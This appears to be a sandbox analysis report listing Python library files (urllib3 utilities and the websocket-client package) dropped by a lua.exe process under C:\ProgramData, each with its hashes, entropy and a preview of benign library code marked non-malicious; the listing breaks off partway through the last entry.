SHA-512:	9D3EF19DA6ED7579964793BDCA023C88CA94A7209D095F1BE3305F85DFB3B83250DBD232BA0A72FD71CE5BE9A01C5AD7F58575ACBC1EC50660509FDBA4FA1917
Malicious:	false
Preview:	import collections..from ..packages import six.from ..packages.six.moves import queue..if six.PY2:. # Queue is imported for side effects on MS Windows. See issue #229.. import Queue as _unused_module_Queue # noqa: F401...class LifoQueue(queue.Queue):. def _init(self, _):. self.queue = collections.deque().. def _qsize(self, len=len):. return len(self.queue).. def _put(self, item):. self.queue.append(item).. def _get(self):. return self.queue.pop().

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\request.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4123
Entropy (8bit):	4.718834362210168
Encrypted:	false
SSDEEP:	48:PeJqcpzHVITTuYQa0ivYufSYzEE3g7wxQLGNotuE3ynoBUAn7Mi6dZvAxcW:W+TCYQ87fSJqSGNpENUAw/lu
MD5:	BBDCDEBC576390CA97484C5EAF6CE32B
SHA1:	591222AD61CAE8DAB7D3E3ABC0C3783476831711
SHA-256:	367CDA10A4353DABB0E4C14C57A1E68043072137F402E6BD7D0BB38B6B99CC67
SHA-512:	1F7995C92FEA20E6F7A6895A504BDC40D80DADC9ADD982D2D3CF7BC1C1556F9655AF3DB34E1BE20FF4EE99599175CE1B3D097132D10DCE225019B3D685FAA3D2
Malicious:	false
Preview:	from __future__ import absolute_import..from base64 import b64encode..from ..exceptions import UnrewindableBodyError.from ..packages.six import b, integer_types..# Pass as a value within ``headers`` to skip.# emitting some HTTP headers that are added automatically..# The only headers that are supported are ``Accept-Encoding``,.# ``Host``, and ``User-Agent``..SKIP_HEADER = "@@@SKIP_HEADER@@@".SKIPPABLE_HEADERS = frozenset(["accept-encoding", "host", "user-agent"])..ACCEPT_ENCODING = "gzip,deflate".try:. import brotli as _unused_module_brotli # noqa: F401.except ImportError:. pass.else:. ACCEPT_ENCODING += ",br".._FAILEDTELL = object()...def make_headers(. keep_alive=None,. accept_encoding=None,. user_agent=None,. basic_auth=None,. proxy_basic_auth=None,. disable_cache=None,.):. """. Shortcuts for generating request headers... :param keep_alive:. If ``True``, adds 'connection: keep-alive' header... :param accept_encoding:. Can be a bo

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\response.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3510
Entropy (8bit):	4.529413035203953
Encrypted:	false
SSDEEP:	48:PYn1uZLY0GS9PpvNYKzamS7gkLgUCj0bp0FFN1SH8Qnt5JxWCkARhzE6nZwDQ1m8:uuK0HPpv1Nb5MGFU/JOChzB08
MD5:	6EB83504356CF0A5778199247F39E6CA
SHA1:	A3B6DD229AA3B2BE1A4148673A7A68D51EA53024
SHA-256:	189A60DC4822F6A6895D1C01879C2FF8C36E4566A7E4122EE34A117A8C563F6F
SHA-512:	E0B3F698B7AF3098526395E440CBAC30882EEFC5CDB9CAE0FAE166888B9C6546CC67176A1AEE50761E66FD6941A046645CA714A28E4CA09D75569C85A58ED2AB
Malicious:	false
Preview:	from __future__ import absolute_import..from email.errors import MultipartInvariantViolationDefect, StartBoundaryNotFoundDefect..from ..exceptions import HeaderParsingError.from ..packages.six.moves import http_client as httplib...def is_fp_closed(obj):. """. Checks whether a given file-like object is closed... :param obj:. The file-like object to check.. """.. try:. # Check `isclosed()` first, in case Python3 doesn't set `closed`.. # GH Issue #928. return obj.isclosed(). except AttributeError:. pass.. try:. # Check via the official file-like-object way.. return obj.closed. except AttributeError:. pass.. try:. # Check if the object is a container for another file-like object that. # gets released on exhaustion (e.g. HTTPResponse).. return obj.fp is None. except AttributeError:. pass.. raise ValueError("Unable to determine whether fp is closed.")...def assert_header_parsi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\retry.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21366
Entropy (8bit):	4.471614497073468
Encrypted:	false
SSDEEP:	192:nlSPFWV8FCR/EMIjKVabMI9eF1iruuciXjyy+2IyyMT9hRvF3OmXJeBArZcd02Zs:nltngYiKuD+2Bb14C7zuOUY
MD5:	56033476FF40D4B73732F9B9434FBC1F
SHA1:	A5C677FBF482ED4F04B8BEC5C16586471A4D92A0
SHA-256:	B67D7AF070CC5329C599744FFAE55A2D150E95B4C426292807546E65DC1F09EB
SHA-512:	8030B15706B5416D04C6F9C5AAEECE9F394F012FA76AB44FBF39DFFBEDAB876D160F3E3CCC512707D9D3DC83E1AE084BB55C2041E1C28A423B8E13A6E1C3E3A1
Malicious:	false
Preview:	from __future__ import absolute_import..import email.import logging.import re.import time.import warnings.from collections import namedtuple.from itertools import takewhile..from ..exceptions import (. ConnectTimeoutError,. InvalidHeader,. MaxRetryError,. ProtocolError,. ProxyError,. ReadTimeoutError,. ResponseError,.).from ..packages import six..log = logging.getLogger(__name__)...# Data structure for representing the metadata of requests that result in a retry..RequestHistory = namedtuple(. "RequestHistory", ["method", "url", "error", "status", "redirect_location"].)...# TODO: In v2 we can remove this sentinel and metaclass with deprecated options.._Default = object()...class _RetryMeta(type):. @property. def DEFAULT_METHOD_WHITELIST(cls):. warnings.warn(. "Using 'Retry.DEFAULT_METHOD_WHITELIST' is deprecated and ". "will be removed in v2.0. Use 'Retry.DEFAULT_METHODS_ALLOWED' instead",. DeprecationWarning,.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\ssl_.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	16269
Entropy (8bit):	4.765216998658318
Encrypted:	false
SSDEEP:	384:U1hF9n1WeSX+g42d1x15M+WQhorfCd20M051b964asyKU1Je2kO81:U1nsO+58w751dyKH
MD5:	08DFD0769D93F4C1ADCB71E58978A831
SHA1:	FDC60DEA75574E47660ABAE5F53AA1C3C69547EA
SHA-256:	7D1AB3466A0B7E20EFE7FB45CE016D1B394EBAE1E82D7D2EB3B5947FBB580C0A
SHA-512:	EBBFE389C0AFD1584C3A86CFA9161723250424046A4920E8E63986363A089848BD7B68D6D75E303B5826B381B588EFA5C1A17BBCB2C613213B5AAA035E3B066E
Malicious:	false
Preview:	from __future__ import absolute_import..import hmac.import os.import sys.import warnings.from binascii import hexlify, unhexlify.from hashlib import md5, sha1, sha256..from ..exceptions import (. InsecurePlatformWarning,. ProxySchemeUnsupported,. SNIMissingWarning,. SSLError,.).from ..packages import six.from .url import BRACELESS_IPV6_ADDRZ_RE, IPV4_RE..SSLContext = None.SSLTransport = None.HAS_SNI = False.IS_PYOPENSSL = False.IS_SECURETRANSPORT = False.ALPN_PROTOCOLS = ["http/1.1"]..# Maps the length of a digest to a possible hash function producing this digest.HASHFUNC_MAP = {32: md5, 40: sha1, 64: sha256}...def _const_compare_digest_backport(a, b):. """. Compare two digests of equal length in constant time... The digests must be of type str/bytes.. Returns True if the digests match, and False otherwise.. """. result = abs(len(a) - len(b)). for left, right in zip(bytearray(a), bytearray(b)):. result \|= left ^ right. return result == 0..._co

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\ssltransport.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6908
Entropy (8bit):	4.391414095369072
Encrypted:	false
SSDEEP:	192:z3cuDlXsMobpIIo86Nm0a7OyrsoLYs9TQau:z3lDlcVblJ7rs0K
MD5:	46CB3A651596C72D376DF5CAF77778EE
SHA1:	33781AA0CD4C484674AB2EC6C5D42E5D30E8892E
SHA-256:	22F190BECF585A47F88F37EA5634EEFD45A3C005203E7E4072D6A35BC54BCFA0
SHA-512:	5AC1DFB72B8CF4308CCFB91F7C9EDCC0B8EAC7EB4FFECB473D7F22BCD192BAB2EC40F40B4877FA03436E647355AEB789D9BF81D5D50AEF9293B0D950898FCB7A
Malicious:	false
Preview:	import io.import socket.import ssl..from urllib3.exceptions import ProxySchemeUnsupported.from urllib3.packages import six..SSL_BLOCKSIZE = 16384...class SSLTransport:. """. The SSLTransport wraps an existing socket and establishes an SSL connection... Contrary to Python's implementation of SSLSocket, it allows you to chain. multiple TLS connections together. It's particularly useful if you need to. implement TLS within TLS... The class supports most of the socket API operations.. """.. @staticmethod. def _validate_ssl_context_for_tls_in_tls(ssl_context):. """. Raises a ProxySchemeUnsupported if the provided ssl_context can't be used. for TLS in TLS... The only requirement is that the ssl_context provides the 'wrap_bio'. methods.. """.. if not hasattr(ssl_context, "wrap_bio"):. if six.PY2:. raise ProxySchemeUnsupported(. "TLS in TLS requires SSLContext.wrap_bio() whi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\timeout.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10003
Entropy (8bit):	4.377726266005605
Encrypted:	false
SSDEEP:	192:76N+l/u6i7m8bo7pB2GmyqqQnqXAzBCsQioKA16:+m/u6gz6XGmAIHM
MD5:	218E02C0402E7A5E184139FF531D3E0B
SHA1:	D5D9516F82A53640CC647649AA893E172E3D9A2C
SHA-256:	4126C150D381F7287A0270E7EB54AB2D0D21839A33D08F7EB97106F75009B888
SHA-512:	A42DC4578C90BA18C36ECB88982E14A165E9B367D55106D05AA8FF67B4471094111E826559FBF637C20CA4B7910D0EDAB8B39BAE3E12F11BC15948A1678CF390
Malicious:	false
Preview:	from __future__ import absolute_import..import time..# The default socket timeout, used by httplib to indicate that no timeout was.# specified by the user.from socket import _GLOBAL_DEFAULT_TIMEOUT..from ..exceptions import TimeoutStateError..# A sentinel value to indicate that no timeout was specified by the user in.# urllib3._Default = object()...# Use time.monotonic if available..current_time = getattr(time, "monotonic", time.time)...class Timeout(object):. """Timeout configuration... Timeouts can be defined as a default for a pool:.. .. code-block:: python.. timeout = Timeout(connect=2.0, read=7.0). http = PoolManager(timeout=timeout). response = http.request('GET', 'http://example.com/').. Or per-request (which overrides the default for the pool):.. .. code-block:: python.. response = http.request('GET', 'http://example.com/', timeout=Timeout(10)).. Timeouts can be disabled by setting all the parameters to ``None``:.. .. code-block:: py

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\url.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13964
Entropy (8bit):	4.925309276465452
Encrypted:	false
SSDEEP:	384:jGBavLWmblA2uqSHMXN5ts+RsF6dpO/weGehxgOO12j:jG4uLHMPWV6dmrhxgVc
MD5:	AA0F32A3B0875A42BFDDFA041478151D
SHA1:	B2B901441D2ED077166D6EBF37B9A2AD6F117A60
SHA-256:	2D67CB4A523897616650C29F0A412509A5B5D3ED0DFAC2434FD6F1683649923B
SHA-512:	94942674D68B5C876EC4CD84B352128FC146052BB1A29F4BA98858174D15E3ADD6A6F3A3AD2D77FDECCE2892447B8201EA89BD7557B3CC728783360C9CC3620A
Malicious:	false
Preview:	from __future__ import absolute_import..import re.from collections import namedtuple..from ..exceptions import LocationParseError.from ..packages import six..url_attrs = ["scheme", "auth", "host", "port", "path", "query", "fragment"]..# We only want to normalize urls with an HTTP(S) scheme..# urllib3 infers URLs without a scheme (None) to be http..NORMALIZABLE_SCHEMES = ("http", "https", None)..# Almost all of these patterns were derived from the.# 'rfc3986' module: https://github.com/python-hyper/rfc3986.PERCENT_RE = re.compile(r"%[a-fA-F0-9]{2}").SCHEME_RE = re.compile(r"^(?:[a-zA-Z][a-zA-Z0-9+-]:\|/)").URI_RE = re.compile(. r"^(?:([a-zA-Z][a-zA-Z0-9+.-]):)?". r"(?://([^\\/?#]))?". r"([^?#])". r"(?:\?([^#]))?". r"(?:#(.))?$",. re.UNICODE \| re.DOTALL,.)..IPV4_PAT = r"(?:[0-9]{1,3}\.){3}[0-9]{1,3}".HEX_PAT = "[0-9A-Fa-f]{1,4}".LS32_PAT = "(?:{hex}:{hex}\|{ipv4})".format(hex=HEX_PAT, ipv4=IPV4_PAT)._subs = {"hex": HEX_PAT, "ls32": LS32_PAT}._variations = [. #

C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\wait.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5404
Entropy (8bit):	4.537715119236964
Encrypted:	false
SSDEEP:	96:Y2n0jQGAov2Rq9rFKYuBArDu8V1lwcycJR8c8WR9qgP8LjBGdisassAEgaYAEDn:YE0jQGf9hKorDuKec86T0LjBxsad2D
MD5:	82B9B6D02400D9557437CDE11E4E645C
SHA1:	9018DDB7A08DE962F331A42745EF3BC186FBFF77
SHA-256:	DCC50A452014243076B60728EEA454B245B4CD7180598BD1444E10D7FEB194BB
SHA-512:	8E363897776E38C7585373E4F45C146799A7537360F3CD0AA47D5F0558211C636929F741669864BC96CD5DC9BF14ADAE9E39F2704B1E4C7F62870E5D25695330
Malicious:	false
Preview:	import errno.import select.import sys.from functools import partial..try:. from time import monotonic.except ImportError:. from time import time as monotonic..__all__ = ["NoWayToWaitForSocketError", "wait_for_read", "wait_for_write"]...class NoWayToWaitForSocketError(Exception):. pass...# How should we wait on sockets?.#.# There are two types of APIs you can use for waiting on sockets: the fancy.# modern stateful APIs like epoll/kqueue, and the older stateless APIs like.# select/poll. The stateful APIs are more efficient when you have a lots of.# sockets to keep track of, because you can set them up once and then use them.# lots of times. But we only ever want to wait on a single socket at a time.# and don't want to keep track of state, so the stateless APIs are actually.# more efficient. So we want to use select() or poll()..#.# Now, how do we choose between select() and poll()? On traditional Unixes,.# select() has a strange calling convention that makes it slow, or fail.# a

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1022
Entropy (8bit):	4.888060403280485
Encrypted:	false
SSDEEP:	24:BZtSHO7yNF5byfOkHeUHTbVoGz+t0qBtxcSv:xuOuN/byJHOGLqBTT
MD5:	AA286D6C0381F509F1926C5F91DDB7CA
SHA1:	C453C9B5A15DE1FA74F711BBF61C01234822A793
SHA-256:	EF1BE3CD9F2D59E811E23F720A9BFAE839976A79A2B707D97FD1FA2F145CDED7
SHA-512:	EC05BD0196D0A7CEA0811EDD7118F28C34852C7DAAC5D545363CF3704686A4A7C9FB6CCD1304A1BF70720687F9D32329637FAF459B98A3564067E0F63D825B88
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA..""".from ._abnf import .from ._app import WebSocketApp.from ._core import .from ._exceptions import .from ._logging import .from ._socket import *.._

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_abnf.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13791
Entropy (8bit):	4.81246191493597
Encrypted:	false
SSDEEP:	192:vuQ5KhhiAiKQEYms7gbU99EOjY41N5zhPS/VVuo9IPBiIN0/:vuQ5KPTQvmvU99LjY41PzhPS/Vco6P8t
MD5:	0FB55C9DFB1ED3F6A44BFD9AB848007D
SHA1:	C3745AC0968AFD2ACF0CC5B9999445E6F8F52F2B
SHA-256:	9D286B4D1267E56BCB1B529C01DB1F536288C038C7B73160A4F498F61161E8C4
SHA-512:	1DBC5E5FC454C2C3E36A6FA3B2E17193BE7482D89ED07D9B8485447657100EECA8C7E2DF5E1625555F6D86B5226D8C0762087D45F2C18BF7DD1B487F0D108D18
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA..""".import array.import os.import struct..import six..from ._exceptions import *.from ._utils import validate_utf8.from threading import Lock..try:. i

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_app.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	13733
Entropy (8bit):	4.319593412815257
Encrypted:	false
SSDEEP:	192:vuQ56Sx8xjkB8oOV9zU/V1dFQzWlesmQjFoNM1IePtKbJ75hlZ:vuQ5Kj0tMx5hz
MD5:	89CB01A230D4BA9BAEF21152184A493F
SHA1:	A7459F520A8C630E260093675E130628AC43F145
SHA-256:	EB074F70251BC01C2E066C9A02DD6F991BFE68C6212A93913175C9F9ACE2C28A
SHA-512:	D5777AC2D79EF205814A8679D94485C332A952B5A7BECC0F1C2CECA250B4FD5F0BBA031228DAB498529394735E26FB5B84D0AC44A93DFC30E3AE0472CCB25DE3
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA.."""..""".WebSocketApp provides higher level APIs..""".import inspect.import select.import sys.import threading.import time.import traceback..import six..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_cookiejar.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1797
Entropy (8bit):	3.983029026414856
Encrypted:	false
SSDEEP:	48:79UmpfrxK7Zgs1F8KmpfrxK72N+zSkRaEM59KaNe4Kc89n:79UmpfRmmpf78aT5tNbKc89
MD5:	E97274F5268EE180F1742643EFE99673
SHA1:	30895368E050E27EC189D79719DA006117582C93
SHA-256:	C67C6E1FDB703AE6A01BEA304A4D2891F9DB5BC20DF7321A4A2BC9CCA98684EE
SHA-512:	20D9FD0D1B9231B15C0102BF231CB4786FF15078A3CE740D78906F4C83EF8C075DEF629FD1EFD3C899D56C04707E8918335ABF527AF95496D5D3E7F45509B384
Malicious:	false
Preview:	try:. import Cookie.except:. import http.cookies as Cookie...class SimpleCookieJar(object):. def __init__(self):. self.jar = dict().. def add(self, set_cookie):. if set_cookie:. try:. simpleCookie = Cookie.SimpleCookie(set_cookie). except:. simpleCookie = Cookie.SimpleCookie(set_cookie.encode('ascii', 'ignore')).. for k, v in simpleCookie.items():. domain = v.get("domain"). if domain:. if not domain.startswith("."):. domain = "." + domain. cookie = self.jar.get(domain) if self.jar.get(domain) else Cookie.SimpleCookie(). cookie.update(simpleCookie). self.jar[domain.lower()] = cookie.. def set(self, set_cookie):. if set_cookie:. try:. simpleCookie = Cookie.SimpleCookie(set_cookie). except:. simpleCookie = Cookie.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_core.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17943
Entropy (8bit):	4.408871936567344
Encrypted:	false
SSDEEP:	192:vuQh52+JbkF+QeNLVf902Zw62GUa5H0uP+NR8Wm2Z0ilQMDVgO6W703MsOVvbuix:vuQLnJdLfYGUxyAZ6+0BOV
MD5:	98EB6E12461160AE67E7A362CB7EF772
SHA1:	89410C6C59C06BDD613B6836F3491ED7EBD7CE2B
SHA-256:	94BCF0C8F189107A4F5064A67F33F46E0A42F6DDB52DFE58DBBA2EE300818FEC
SHA-512:	E3EDD56F264C6F63FB3A4C06F7DF1CE60B28F7CC5BDEDAC6EB377125C052AD3160E0B4F4B12BD3E2632E1CC74F2623C73D3879888B9C81CE692A31F2B62D5C6A
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA..""".from __future__ import print_function..import socket.import struct.import threading.import time..import six..# websocket modules.from ._abnf import *

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_exceptions.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	4.756001399186266
Encrypted:	false
SSDEEP:	24:BZtSHO7yNF5byfOkHeUHTbVoGz+t0qzKJHLXHDJu8u8pZAGNMKApJDY0GUDdo5aB:xuOuN/byJHOGLqzKJzE8ugNMKyAUBTB
MD5:	4F4AB8C668FF7A9F7DE11804442982F0
SHA1:	CE03C111850D7B117D54401512C3EDBB78EE2797
SHA-256:	51040D4D17953EF8DA2A68753BABB8CA2C248ECC4E52A6ACAE85307694C30820
SHA-512:	5D8D149699B56AB995B91462713C680B19C166121D10485279E456CF99609675E87405D023D74F82EC9C5C154E39C932A256AC80C8FD1B222820CEF8358627DE
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA.."""...""".define websocket exceptions."""...class WebSocketException(Exception):. """. websocket exception class.. """. pass...class WebSocke

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_handshake.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6507
Entropy (8bit):	4.893754130819478
Encrypted:	false
SSDEEP:	96:x9uN/6dSA2hBIVq2aaLg+M9oALoBoIQF4AA1mc3w+PFKXlzR5JCFzNZrmPRnUpc7:vuQIAb8vaLgcAWjFKXlJ4mPRq/6TQi
MD5:	53D119307A4E53B08921FEDBCD10B295
SHA1:	756C61F415BB2CC3DD2548B3DD6F117599A5165C
SHA-256:	6BFB93BFA058E08891587D0AD98C756D42C1FF8CB4DC4A22858A80451BD659D4
SHA-512:	9BC9CB5612527F897A8638F198AF38A9138105C69965FCF4685A8616AD732D4E788530F4E5E2B6E8B5C3FC5446461097683A3546C9B388FF6BC6C35B9490FAA8
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA..""".import hashlib.import hmac.import os..import six..from ._cookiejar import SimpleCookieJar.from ._exceptions import .from ._http import .from ._logg

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_http.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10959
Entropy (8bit):	4.655134454576584
Encrypted:	false
SSDEEP:	192:vuQXeAQ6wgGUyyJjJxBJgjzzFyCzjK60D+neU3VwcsRQfld7C6YWoBzpQSD+1Dt1:vuQXvd5DxBJgjzZyCRFIKqcCd4Bcy
MD5:	B9C9295B6D5A8418D19D7BAC90976A9F
SHA1:	D962FCDDCD6CFB16EB7A4FC4ED401599DBD39307
SHA-256:	9881409101A83EC09043FCCA79AE11E838CC914578E926C343DE8F29A37AB553
SHA-512:	576E3392F90251C5276C13A4C4F73D7F9FF842C066B986CFF45A7EB9CC02D543F9C8C4B08DDAA1B5B6D403EE413F8112130E38D00267223F5C867A47567C8B2A
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA..""".import errno.import os.import socket.import sys..import six..from ._exceptions import .from ._logging import .from ._socket import*.from ._ssl_comp

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_logging.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2165
Entropy (8bit):	4.871957369657842
Encrypted:	false
SSDEEP:	48:xuOuN/byJHOGLqwro34tNlevkRfGV7gy5CVYRYNtRrXSeRrX3sRem:x9uN/6DlevkwV7SptRTSeRT3sRB
MD5:	11FFEC48F71ADCC0719E272B3895088E
SHA1:	F27AC81C997062B1BF0871A3266214C5A3A41493
SHA-256:	E9F1D7703B78D0B28F41725F8C90BEA66177DC9CFDC8D48CFA7D866E1BB7D459
SHA-512:	B373EDD2D6E3F0FCD28FFCB8EB5A4EB8D7C5BDDE46155D0B615B21CF1F66B4E8A996840FE668945B71E92E0E9C220FF68B2D4F5DE8E1E4ED4728874BBB8E7988
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA..""".import logging.._logger = logging.getLogger('websocket').try:. from logging import NullHandler.except ImportError:. class NullHandler(logging.H

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_socket.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4793
Entropy (8bit):	4.695290628806179
Encrypted:	false
SSDEEP:	96:x9uN/6CGfCLnI+mM2dvx+QuRo0qapx2Bs7fybT5:vuQCG3CwQFRrcDN
MD5:	2898C2E11BAE4F57D1FB5AC0EBB078E2
SHA1:	C2C3A518A58ABBC9D01B92A0BBE1DA630369C2FD
SHA-256:	EA55F536043BF309F5DD87B7A4E178B7167DAADBC087816C34C25DA33D8E0742
SHA-512:	489F90A7600A03513748F10747305BDA347D172BFA1C9492E03DDAA20E992B72F2CD3677B176A30F94F26D1F3F9A849CDF4BA624E58110763355EA1FFBA95DFE
Malicious:	false
Preview:	""".websocket - WebSocket client library for Python..Copyright (C) 2010 Hiroki Ohtani(liris).. This library is free software; you can redistribute it and/or. modify it under the terms of the GNU Lesser General Public. License as published by the Free Software Foundation; either. version 2.1 of the License, or (at your option) any later version... This library is distributed in the hope that it will be useful,. but WITHOUT ANY WARRANTY; without even the implied warranty of. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU. Lesser General Public License for more details... You should have received a copy of the GNU Lesser General Public. License along with this library; if not, write to the Free Software. Foundation, Inc., 51 Franklin Street, Fifth Floor,. Boston, MA 02110-1335 USA..""".import errno.import select.import socket..import six.import sys..from ._exceptions import .from ._ssl_compat import .from ._utils import *..DEFAULT_

C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\_ssl_compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1797
Entropy (8bit):	4.907613993716943
Encrypted:	false
SSDEEP:	48:xuOuN/byJHOGXqqEXXnkcdzZQ+/s9QLq3p:x9uN/65EnnT+1p
MD5:	86F5B1EE101FD30DBF14161BA61D6A08
SHA1:	F425C2D5BAA5BB90D2C46B6388D989C58CE42CF6
